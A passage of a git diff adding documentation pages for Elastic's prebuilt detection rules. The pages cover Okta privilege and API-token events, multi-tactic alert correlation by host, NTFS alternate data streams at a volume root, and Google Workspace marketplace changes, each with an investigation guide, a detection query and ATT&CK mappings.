enforce multi-factor authentication (MFA) for all accounts that were part of the affected group to secure them against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected group and related user accounts to detect any further suspicious activities. +- Review and update access control policies to ensure that only necessary groups and users have administrative privileges, reducing the risk of similar incidents in the future. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:group.privilege.grant + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alerts-in-different-att-ck-tactics-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alerts-in-different-att-ck-tactics-by-host.asciidoc new file mode 100644 index 0000000000..8c153c9666 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alerts-in-different-att-ck-tactics-by-host.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-alerts-in-different-att-ck-tactics-by-host]] +=== Alerts in Different ATT&CK Tactics by Host + +This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alerts in Different ATT&CK Tactics by Host* + + +The detection rule identifies hosts with alerts across various attack phases, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, persistence, and exfiltration. This rule prioritizes hosts with diverse tactic alerts, aiding analysts in focusing on high-risk threats by correlating alert data to detect complex attack patterns. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* metadata _id + +// filter for alerts with populated risk score, excluding threat_match rules, deprecated and some other noisy ones. +| where kibana.alert.risk_score > 0 and + kibana.alert.rule.name IS NOT NULL and + host.id is not null and data_stream.dataset is not null and + kibana.alert.rule.type != "threat_match" and + // Top noisy influencing rules + not kibana.alert.rule.name in ("Agent Spoofing - Mismatched Agent ID", "Compression DLL Loaded by Unusual Process", "Process Termination followed by Deletion", "Suspicious PrintSpooler Service Executable File Creation", "Potential PrintNightmare File Modification") and + not kibana.alert.rule.name like "Deprecated - *" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// extract unique counts and values by host.id +| stats Esql.alerts_count = COUNT(*), + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.event_module_values = VALUES(event.module), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.threat_tactic_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.tactic.id), + Esql.threat_tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name), + Esql.kibana_alert_risk_score_sum = sum(kibana.alert.risk_score), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id + +// divide the sum of risk scores by the total number of alerts +| eval Esql.risk_alerts_count_ratio = Esql.kibana_alert_risk_score_sum/Esql.alerts_count + +// filter for risky hosts by risk score and unique count of rules and tactics +| where Esql.kibana_alert_rule_name_distinct_count >= 5 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.alerts_count <= 500 and Esql.risk_alerts_count_ratio >= 50 + +// fiels populated in the resulting alert +| keep host.id, + Esql.alerts_count, + Esql.kibana_alert_risk_score_sum, + Esql.risk_alerts_count_ratio, + Esql.kibana_alert_rule_name_distinct_count, + Esql.event_module_values, + Esql.kibana_alert_rule_name_values, + Esql.threat_tactic_name_values, + Esql.process_executable_values, + Esql.process_parent_executable_values, + Esql.process_command_line_values + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc new file mode 100644 index 0000000000..3315a91668 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-alternate-data-stream-creation-execution-at-volume-root-directory]] +=== Alternate Data Stream Creation/Execution at Volume Root Directory + +Identifies the creation of an Alternate Data Stream (ADS) at a volume root directory, which can indicate the attempt to hide tools and malware, as ADSs created in this directory are not displayed by system utilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 205 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Alternate Data Stream Creation/Execution at Volume Root Directory* + + +Alternate Data Streams (ADS) in Windows allow files to contain multiple streams of data, which can be exploited by adversaries to conceal malicious tools or data. By creating or executing ADS at the root of a volume, attackers can evade detection by standard system utilities. The detection rule identifies suspicious ADS activity by monitoring file creation and process execution patterns at the volume root, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or process executable that triggered the alert, focusing on the volume root directory pattern [A-Z]:\\:. +- Check the file or process creation timestamp to determine when the suspicious activity occurred and correlate it with other events or activities on the system around the same time. +- Investigate the file or process owner and the user account associated with the activity to assess if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the file or process for known indicators of compromise (IOCs) or signatures of malicious activity using threat intelligence sources or antivirus tools. +- Analyze the system for additional signs of compromise, such as unexpected network connections, registry changes, or other suspicious files, to determine if the ADS activity is part of a larger attack. +- Review system logs and security tools for any related alerts or anomalies that could provide further context or evidence of malicious intent. + + +*False positive analysis* + + +- System utilities or legitimate applications may create ADS at the volume root for benign purposes, such as storing metadata or configuration data. Review the source of the ADS creation to determine if it is associated with known safe applications. +- Backup or disk management software might use ADS to store additional information about files. Verify if the detected activity aligns with scheduled backup operations or disk management tasks. +- Some security tools or system monitoring applications may use ADS for logging or tracking purposes. Cross-reference the process or file path with known security tools to rule out false positives. +- If a specific application is consistently triggering alerts due to its use of ADS, consider creating an exception for that application's process or file path in your monitoring solution to reduce noise. +- Regularly update your list of known safe applications and processes that interact with ADS to ensure that legitimate activities are not flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the identified ADS activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any hidden malicious files or tools. +- Review and delete any unauthorized or suspicious ADS found at the volume root directory to eliminate potential hiding places for malware. +- Restore affected files from a known good backup to ensure system integrity and remove any compromised data. +- Monitor network traffic for unusual patterns or connections that may indicate ongoing malicious activity or data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category in ("file", "process") and + ( + (event.type == "creation" and file.path regex~ """[A-Z]:\\:.+""") or + (event.type == "start" and process.executable regex~ """[A-Z]:\\:.+""") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-added-to-google-workspace-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-added-to-google-workspace-domain.asciidoc new file mode 100644 index 0000000000..dec5fed1cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-added-to-google-workspace-domain.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-application-added-to-google-workspace-domain]] +=== Application Added to Google Workspace Domain + +Detects when a Google marketplace application is added to the Google Workspace domain. An adversary may add a malicious application to an organization’s Google Workspace domain in order to maintain a presence in their target’s organization and steal data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Added to Google Workspace Domain* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or on Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Applications can be installed by individual users, if they have permission, or can be installed for an entire Google Workspace domain by administrators. Consent screens typically display what permissions and privileges the application requires during installation. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any product on the Marketplace that originates from a source other than Google. + +This rule checks for applications that were manually added to the Marketplace by a Google Workspace account. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- With access to the Google Workspace admin console, visit the `Security > Investigation tool` with filters for the user email and event is `Assign Role` or `Update Role` to determine if new cloud roles were recently updated. +- With the user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Google Workspace administrators might intentionally remove an application from the blocklist due to a re-assessment or a domain-wide required need for the application. +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Contact the user to verify that they intentionally removed the application from the blocklist and their reasoning. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:ADD_APPLICATION + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-removed-from-blocklist-in-google-workspace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-removed-from-blocklist-in-google-workspace.asciidoc new file mode 100644 index 0000000000..10ee0ebf52 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-application-removed-from-blocklist-in-google-workspace.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-application-removed-from-blocklist-in-google-workspace]] +=== Application Removed from Blocklist in Google Workspace + +Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Removed from Blocklist in Google Workspace* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Individual users with the appropriate permissions can install applications in their Google Workspace domain. Administrators have additional permissions that allow them to install applications for an entire Google Workspace domain. Consent screens typically display permissions and privileges the user needs to install an application. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any Marketplace product that originates from a source that isn't Google. + +This rule identifies a Marketplace blocklist update that consists of a Google Workspace account with administrative privileges manually removing a previously blocked application. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- With access to the Google Workspace admin console, visit the `Security > Investigation` tool with filters for the user email and event is `Assign Role` or `Update Role` to determine if new cloud roles were recently updated. +- After identifying the involved user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Google Workspace administrators might intentionally remove an application from the blocklist due to a re-assessment or a domain-wide required need for the application. +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Contact the user to verify that they intentionally removed the application from the blocklist and their reasoning. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.category:"iam" and event.type:"change" and + event.action:"CHANGE_APPLICATION_SETTING" and + google_workspace.admin.application.name:"Google Workspace Marketplace" and + google_workspace.admin.old_value: *allowed*false* and google_workspace.admin.new_value: *allowed*true* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-create-okta-api-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-create-okta-api-token.asciidoc new file mode 100644 index 0000000000..cca200c438 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-create-okta-api-token.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-attempt-to-create-okta-api-token]] +=== Attempt to Create Okta API Token + +Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Create Okta API Token* + + +Okta API tokens are crucial for automating and managing identity and access tasks within an organization. However, if compromised, these tokens can be exploited by adversaries to gain persistent access, manipulate user accounts, or alter security settings. The detection rule identifies suspicious token creation activities by monitoring specific Okta system events, helping to thwart unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:system.api_token.create to identify the specific instance of API token creation. +- Identify the user account associated with the token creation event to determine if the action aligns with their typical behavior or role within the organization. +- Check the timestamp of the event to correlate with other security events or anomalies that occurred around the same time. +- Investigate the IP address and location from which the API token creation request originated to assess if it matches the user's usual access patterns. +- Examine any recent changes to user accounts or security settings that may have been executed using the newly created API token. +- Review the organization's policy on API token creation to ensure compliance and determine if the action was authorized. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when legitimate IT staff create API tokens for automation or integration purposes. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these known users. +- Scheduled system maintenance or updates might involve creating API tokens, leading to false positives. Document these events and adjust the monitoring window or create temporary exceptions during these periods. +- Third-party integrations that require API tokens for functionality can also trigger alerts. Identify and whitelist these integrations by verifying their necessity and security compliance. +- Development and testing environments often involve frequent token creation for testing purposes. Exclude these environments from the rule or set up separate monitoring with adjusted thresholds to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the suspicious Okta API token to prevent any unauthorized access or actions within the organization's network. +- Conduct a thorough review of recent activities associated with the compromised token to identify any unauthorized changes or access attempts. +- Reset credentials and enforce multi-factor authentication for any accounts that were accessed or potentially compromised using the API token. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordination for further investigation and response. +- Implement additional monitoring on Okta API token creation events to detect and respond to any further unauthorized attempts promptly. +- Review and update access controls and permissions related to API token creation to ensure they align with the principle of least privilege. +- Escalate the incident to senior security management if there is evidence of broader compromise or if the threat actor's objectives are unclear. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:system.api_token.create + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-application.asciidoc new file mode 100644 index 0000000000..9d53d86b59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-application.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-application]] +=== Attempt to Deactivate an Okta Application + +Detects attempts to deactivate an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Application* + + +This rule detects attempts to deactivate an Okta application. Unauthorized deactivation could lead to disruption of services and pose a significant risk to the organization. + + +*Possible investigation steps:* + +- Identify the actor associated with the deactivation attempt by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Understand the context of the event from the `okta.debug_context.debug_data` and `okta.authentication_context` fields. +- Check the `okta.outcome.result` and `okta.outcome.reason` fields to see if the attempt was successful or failed. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Analyze the `okta.transaction.id` and `okta.transaction.type` fields to understand the context of the transaction. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity, performed by an authorized person, or if the `okta.outcome.result` field shows a failure. +- An unsuccessful attempt might also indicate an authorized user having trouble rather than a malicious activity. + + +*Response and remediation:* + +- If unauthorized deactivation attempts are confirmed, initiate the incident response process. +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Reset the user's password and enforce MFA re-enrollment, if 